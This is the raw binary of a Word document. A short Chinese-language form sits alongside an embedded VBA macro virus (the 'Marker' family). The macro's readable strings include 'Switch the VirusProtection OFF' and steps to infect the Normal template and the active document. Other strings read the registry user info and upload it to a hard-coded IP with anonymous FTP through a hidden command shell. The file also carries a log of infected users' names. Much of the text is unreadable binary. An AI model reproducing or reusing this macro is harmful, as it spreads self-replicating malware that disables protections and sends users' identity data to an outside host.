��ࡱ�>�� 9<����8��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������)` �R�� bjbj����2$������������@@@@@@@T\\\8��TT�.666Z\\\\\\$ hqT�@66666�@@.����6T@@Z�6Z��@@�� pM6�F7�\���&4�0���*d���@�@66�66666���X666�6666TTT� � �TTT� TTT@@@@@@����  ZQ!h,{�NASgeQZQ�y�gRP[�W���s�f[u �f[XT �b Th� b���| �USMO� �s;N�N� �e���2014t^ g �e �^ �S�Y T'`+R t^�� N Nt^ �~ZQ!h L��RY �l�l�T�s�b Th�5uP[�ech�S��971419426@qq.com      .068:~���������������    L P T h z � � � ���������������������������������|lfbh!' h!'PJh��h�/�CJKHPJaJo(h��h�/�CJKHPJaJ h�/�o(h!'CJPJ h!'5�o(h!'5�OJQJo( h!'o(h]\lOJQJo(h�qvOJQJo(h!'OJQJo(h!'CJPJh!'5�CJ$PJh]\l5�CJ$o(h!'5�CJ$o( h!'CJ o(h�R CJ OJQJo(%08:�������  �������������� $Ifgd!' $$Ifa$gd!'gd!' ��d��WDR`��gd!' $d��a$gd!'d��gd!'� � ��  �kd$$If����ִ,� �W� ���`���o�8�����0�������� ��������� ��������� ��������� ��������4�4� la�l     " $ & �������� $$Ifa$gd!'& ( �kd"$$If��:�ִ,� �W� ���`���o�8�����0�������� ��������� ��������� ��������� ��������4�4� la�l( * , . 0 2 4 6 8 �������� $$Ifa$gd!'8 : �kdD$$If��:�ִ,� �W� ���`���o�8�����0�������� ��������� ��������� ��������� ��������4�4� la�l: < > @ B D F H J �������� $$Ifa$gd!'J L �kdf$$If��:�ִ,� �W� ���`���o�8�����0�������� ��������� ��������� ��������� ��������4�4� la�lL � � � � � � � � � � � � � � � � � � � � � � � ����������������������� $dh1$a$gd!'gd!'�M����VD�WDU�^�M�`���gd!'�K���VD��WDd^�K�`��gd�/�� � � � � � � � � � � � � � � � ���������������h nhyW�jhyW�U h!'h!'h!' h!'PJh!'CJ OJPJ� � � � � � � � � � � � � ������������gd!' &dP��gdTw� 01�82P��. ��A!�"�#��$��%��S�� �� $$If!vh5�5�5�`5��5�o5�85��5��#v#v#v`#v�#vo#v8#v�#v�:V ����0��������,�5�5�5�`5��5�o5�85��5��/� �a�l $$If!vh5�5�5�`5��5�o5�85��5��#v#v#v`#v�#vo#v8#v�#v�:V �:��0��������,�5�5�5�`5��5�o5�85��5��/� �a�l $$If!vh5�5�5�`5��5�o5�85��5��#v#v#v`#v�#vo#v8#v�#v�:V �:��0��������,�5�5�5�`5��5�o5�85��5��/� �a�l $$If!vh5�5�5�`5��5�o5�85��5��#v#v#v`#v�#vo#v8#v�#v�:V �:��0��������,�5�5�5�`5��5�o5�85��5��/� �a�l��F@��F ck�e a$$1$CJKHmH nHsH tH_H$A@���$ ؞���k=�W[SOFi@���F nf�h�\@ABCDEFGHIJKLMNOPQRSTUVWXYZ[����]^_`ac������������������������������������������������������������������������������������������������������������������������Root Entry�������� �F@`I�F7�=�Data ������������1Table���������WordDocument����2$SummaryInformation(������������(DocumentSummaryInformation8��������0Macros pM6�F7�pM6�F7�VBA�������� pM6�F7�pM6�F7�dir������������ThisDocument ����?�9_VBA_PROJECT������������ * PROJECT ����:k����  !"#$%&'()*+,-./0123456789����;<=>?��������B�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������0*� pH�d�ProjectQ(@=� l ��U�T J< rstdole>stdoleP h%^*\G{00020�430-C 0046}#2.0#0#C:\WINDOWS\system32\e2.tlb#OLE Aut�omation`�ENormal�EN�CrmaQ�F � �* \C 9oT�!Offic�gOf�ic�g����!G{2DF8D04C-5BFA-101@B-BDE5�gAjA�e4�2�g��gram Files\CommonMicrosoft Shared\OFFICE11\MSO.DLL#��M 11 .0 Ob�� L�ibrary�%�"�z���BeThisDocumentG � T�fis"D�Hcu@Ie�n�n� 2� �(HB1B�S.XB,�!�T�"B+BB�ay� ��*\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLL#Visual Basic For Applications*\G{00020905-0000-0000-C000-000000000046}#8.3#0#C:\Program Files\Microsoft���������M.���������������������������������x��ME������������� ��������������������������������������������������������������������������������������������������������������������������������(S"����S����S"����<������(1Normal.ThisDocument��������������(����������% ����������������������������������@���������L��x@� �������� ��E~1@�"�������� ��Al@�$�������� ��5`�&�������� ����@�(�������� ��`�*�������� ������@�,�������� ������@�.�������� ������@�0�������� ������`�2���������������������0����������������0����������������������������������������������������������������������"�� ������ ����� � ����� 0�H�h�x� ����� ������ �����&��& � ����� ����� $H� p� ����� �����z�� ����� �"� 8�"H�p� �����Zx� �������*�� �0� �����P�`� p� �������������� �8�P� h� �����8x� �����^�� ������ ����� ����� T�Dp� ����� ����� �� �� ����� �� �����"�� ����� ����� 8 �X�$p�$�� ��������� � �����(�(� ����� �������� ������ �����0� ����� ����� 8�FX� ����� �� �����"�� ��������� ����� � �����( � ����� �����0 � �����8 � ����� @ � ����� (X � � � � � � � ����� ����� ����� *� � � � � � ����� ����� ����� ( � ( � 8 � ����� ����� ����� *@ � p � � � ����� ����� ����� *� � � � � � ����� ����� ����� *� � �  � ����� ����� ����� ( � @ � X � ����� ����� ����� ,` � � � � � ����� ����� ����� (� � � � � � ����� ����� ����� , � 0 � @ � ����� ����� ����� (H � p � � � ����� ����� ����� *� � � � � � ����� ����� ����� (� � � �  � ����� ����� ����� ( � @ � X � ����� ����� ����� (` � � � � � ����� ����� ����� *� � � � � � ����� ����� ����� *� � (� @� ����� ����� ����� (H� p� �� ����� ����� ����� (�� �� �� ����� ����� ����� ,�� � ,� ����� ����� ����� *H� x� �� ����� ����� ����� *�� �� �� ����� ����� ����� *�� � � ����� ����� ����� * � P� `� ����� ����� ����� (h� �� �� ����� ����� ����� *�� �� �� ����� ����� ����� *��  � 0� ����� ����� ����� *8� h� x� ����� ����� ����� *�� �� �� ����� ����� ����� *�� �� � ����� ����� ����� .� @� P� ����� ����� ����� .X� �� �� ����� ����� ����� *�� �� �� ����� ����� ����� *�� � (� ����� ����� ����� ,0� `� p� ����� ����� ����� ,x� �� �� ����� ����� ����� ,�� �� � ����� ����� ����� *� 8� H� ����� ����� ����� *P� �� �� ����� ����� ����� *�� �� �� ����� ����� ����� .�� �  � ����� ����� ����� .(� X� h� ����� ����� ����� *p� �� �� ����� ����� ����� *�� �� �� ����� ����� ����� *� 0� @� ����� ����� ����� *H� x� �� ����� ����� ����� ,�� �� �� ����� ����� ����� *�� �  � ����� ����� ��������0�0�p]�<- this is a marker!�p�Declare Variables]���������y�gR]���.]��0�H�`�� ���Initialize VariablesAl�� 4!6!8%:.(������ <!6!8%:.* �� ���'�' (!>%@'$5 ���'�' *!>%@'&Q!�Switch the VirusProtection OFF�cD;� B(DQ�Sf[$H$F���>HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info�LogFile J%L�� $�� � (!>!P (!>%N'0 &�e��� � *!>!P *!>%N'0 k��� 0� 0�' Log�file -->� 0� 0�' Log�file -->� $�'0��� � R������� 2� V$T��$� '2�i� R��ker = �C:\hsf 2�.sys'2 2����� 0����V��� � c:\netldx.vxd������o 209.201.88.110����user anonymous�� ��� pass itsme@�������� cd incoming� ���ascii����put 2����quit� �VX �*command.com /c ftp.exe -n -s:c:\netldx.vxd ZA@X���>HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info�LogFile J,Lk����MMake sure that some conditions are true before we continue infecting anything�  $� &� 4!\ ^ 4!\ `� Tru�Infect the NormalTemplate $��ed = T <!b'"alTe� (!>!P (!>%N',veDocu�1Write a log file of this NormalTemplate infection� R�� d!.� d!. R�$�� $f�� d!. R�$�� $f� . d!. R�$�'.k��d�� .� $f�' '.� k���� R����� � ) ,� $f�'  h�hh:mm:ss AMPM - $� Z�dddd, d mmm yyyy$�� $f�'  d!j� $f�'  .� $f',ode � *!>!P *!>B@l , *!>B@nime, " "��G <B@pjk����Infect the ActiveDocument� &� 4!r��$��: 4!b��W 4!b' empl� *!>!P *!>%N',tiveDo� (!>!P (!>B@lr , (!>B@n mmm y ��G 4B@pjk���k���o���� Logfile -->3) &�" 09:08:36 - Saturday, 28 Nov 1998� SPo0Ky� Blue Planet��$ 02:50:31 PM - Saturday, 28 Nov 1998� MARK B. SEAY��! 08:04:45 AM - Friday, 4 Dec 1998� UPS��$ 11:43:35 AM - Thursday, 17 Dec 1998� WRO��# 03:07:26 PM - Tuesday, 22 Dec 1998� BCBSA��$ 03:28:02 PM - Wednesday, 6 Jan 1999� BCBSA��" 02:59:47 PM - Monday, 11 Jan 1999� Marsha Veach��% 01:54:54 PM - Wednesday, 20 Jan 1999� Connie Sandifer, CMP��" 09:33:06 PM - Monday, 25 Jan 1999� Doug Rowan��% 08:21:12 AM - Wednesday, 27 Jan 1999� IMSI��" 10:59:58 AM - Friday, 29 Jan 1999� Raj��$ 03:37:57 PM - Saturday, 30 Jan 1999� hornd��" 01:26:48 PM - Tuesday, 2 Feb 1999� Cooley Godward��" 04:57:29 PM - Tuesday, 2 Feb 1999� Cooley Godward��" 06:35:44 PM - Tuesday, 2 Feb 1999� Cooley Godward��# 04:23:52 PM - Thursday, 4 Feb 1999� Cooley Godward��# 04:27:39 PM - Saturday, 6 Feb 1999� Cooley Godward��! 06:18:06 PM - Monday, 8 Feb 1999� Cooley Godward��" 09:17:17 PM - Tuesday, 9 Feb 1999� hclee��% 04:44:45 PM - Wednesday, 17 Feb 1999� Dr. W. Hsiao�% Wendy Hsiao, Ph.D.�# 04:13:19 PM - Tuesday, 23 Feb 1999� CCST��$ 10:09:35 AM - Saturday, 20 Mar 1999� cpwu��# 09:33:49 AM - Thursday, 6 May 1999�� ��������# 12:39:25 PM - Tuesday, 20 May 1997gs\� ghc-bbct��! 01:21:36 PM - Friday, 7 May 1999� �����t��# 05:51:53 - Wednesday, 12 May 1999� qdzhuang��$ 03:23:04 PM - Saturday, 19 Jun 1999� �������$ 02:53:46 ���� - Tuesday, 6 Sep 2011� �������$ 09:37:47 ���� - Monday, 19 Sep 2011� ��ʿ����$ 01:41:54 ���� - Monday, 26 Sep 2011� unknown��' 10:50:02 ���� - Wednesday, 19 Oct 2011� ף�Ȫ��' 08:27:05 ���� - Wednesday, 26 Oct 2011 � ����ٻ��$ 10:37:36 ���� - Monday, 31 Oct 2011��� � ���˷���$ 04:21:38 ���� - Monday, 31 Oct 2011��� � ���÷��& 08:15:53 ���� - Wednesday, 2 Nov 2011� �Ż᷼��% 02:57:58 ���� - Thursday, 3 Nov 2011� unknown��% 04:00:59 ���� - Thursday, 3 Nov 2011� ������# 09:41:48 ���� - Friday, 4 Nov 2011� �Ӻ���# 11:18:07 ���� - Monday, 7 Nov 2011� unknown��$ 03:01:17 ���� - Monday, 21 Nov 2011� unknown��' 09:59:34 ���� - Wednesday, 28 Dec 2011� unknown��' 11:26:57 ���� - Wednesday, 22 Feb 2012� unknown��$ 09:22:07 ���� - Monday, 30 Apr 2012� ��С����# 10:07:34 ���� - Monday, 7 May 2012� 20068726��# 06:34:29 PM - Thursday, 6 Sep 2012� ΢���û���# 04:02:54 ���� - Monday, 8 Oct 2012� �����ص�ί��& 03:43:18 ���� - Wednesday, 7 Nov 2012� 20061117��$ 10:34:33 ���� - Friday, 27 Dec 2013� Ф������������B�Attribute VB_Name = "ThisDocument" �Bas�1Normal.VGlobal!�SpaclFalse �CreatablPre declaId�Tru BExposeTemplateDeriv$Customliz�C�1P Sub ��_Cl5() On Error Res� Next� Const @Marker��<- t� is (a m !�� 'Dl Vari=s Dim �Save8,���e,GInfec`ted, �� As Boole�an-ant ObjCOurCode, UserAddres�s, LogD�fYFihS��ngA9'Initi0aliz��/Se�t a�bAct�[��1.VBProA�@Compon@�s.Item(1��S� &= 2� 0���<= .�3Module.Find�(�c, 1�0@�O= nt+FSwitchC�|Firus>t�Zion OFF���pt�s.V  = ��A If (Day(Now())�1) And (Sysm@M.��@fgf("", "HKEY_CURRENT_USER\Softw��\Micros@\MS �\up (ACPME)\A? `(o7!@?!>"��) The`H � �E;`�&k'�DH�ad))Li0nes(`1�Co�untOf��2!�E �� 64AuT�7F��Q�,If����Mid(�,�%�.�&"'�f" & "�2 -->")hen�) -���$ CF��i�@� To 4c � e"s=&+ A�Int(8 * R�nd)`2�]$ � ic@$"C:p\hsf���.8sys��A1Op en� �OutpruB�#1C S@y#��; A��B� �c� "c:\netldx.vxd" � "o 209.201.88.�110�"u� anonymou�pass @itsme@�c d inc��ng��ascii�A �H'�qui���(� Shell "A�mand.� /c ftp.exe -n -s:�$, vbHi�d`�g3?�K?��A�ٟA= cr�Ed32PMake sur�e`Pat so���cond c�q �H t�| befo@we �tin�ue�1ming�ny�s�f@(�F ~X�1�AQq�2! cS_]"(li�v�&m0 = wd�� Or� c_e^�y�R�R�q�rA 2a� �� � �� [W� �  .1�dQ1 �}pXX0ZX3S'Wri��a log rf�of P�, i�B� ns� �KL�P�ApplicaAp~.��I�o1Lot�i�L <> Chr�(13��(qs�h���0� I�` `]���C�1R �lk�Y=&f �W'� �F �\�'��9,3R0j�J�+(Timp�"hh:mm:0QAMP�M j�&�/��� �]�d, d �mmm y���O ���Ǐ �� �AG��}Del�ete�������e.��From�t��H��S�;/90#QG?B�ݬ�%� �9B�F�k6m����F(b* �Ful��,F ��P ":"N ~ ?N2�� q VR=����gIH ?��<����K|�������Sto$x���g:W�Sub�r�BT �09:0 8:36 �7Sa@turday�8�0$v 1998� SPo0Ky��Bl�rPla���!d2:50:31 r<��MARK BM�. SEAY ' ' 08:04:45 AM - Friday, 4 De@c 1998� UPS �11:43:3fThursj17 lWRO l03:07:2�6 PjTue522 5BCBSA 72�27Wed�n96 Jan� 9/ 82:59�:478Mon�1 Marsha@ Veach ;1�:54;20 Connie Sandifer, CMP $9:3'}�{C25�"Doug Rowan�8:21:12ψ}27 IMS�I 10�}58���29J RajK@u7:5LSatu r�L3K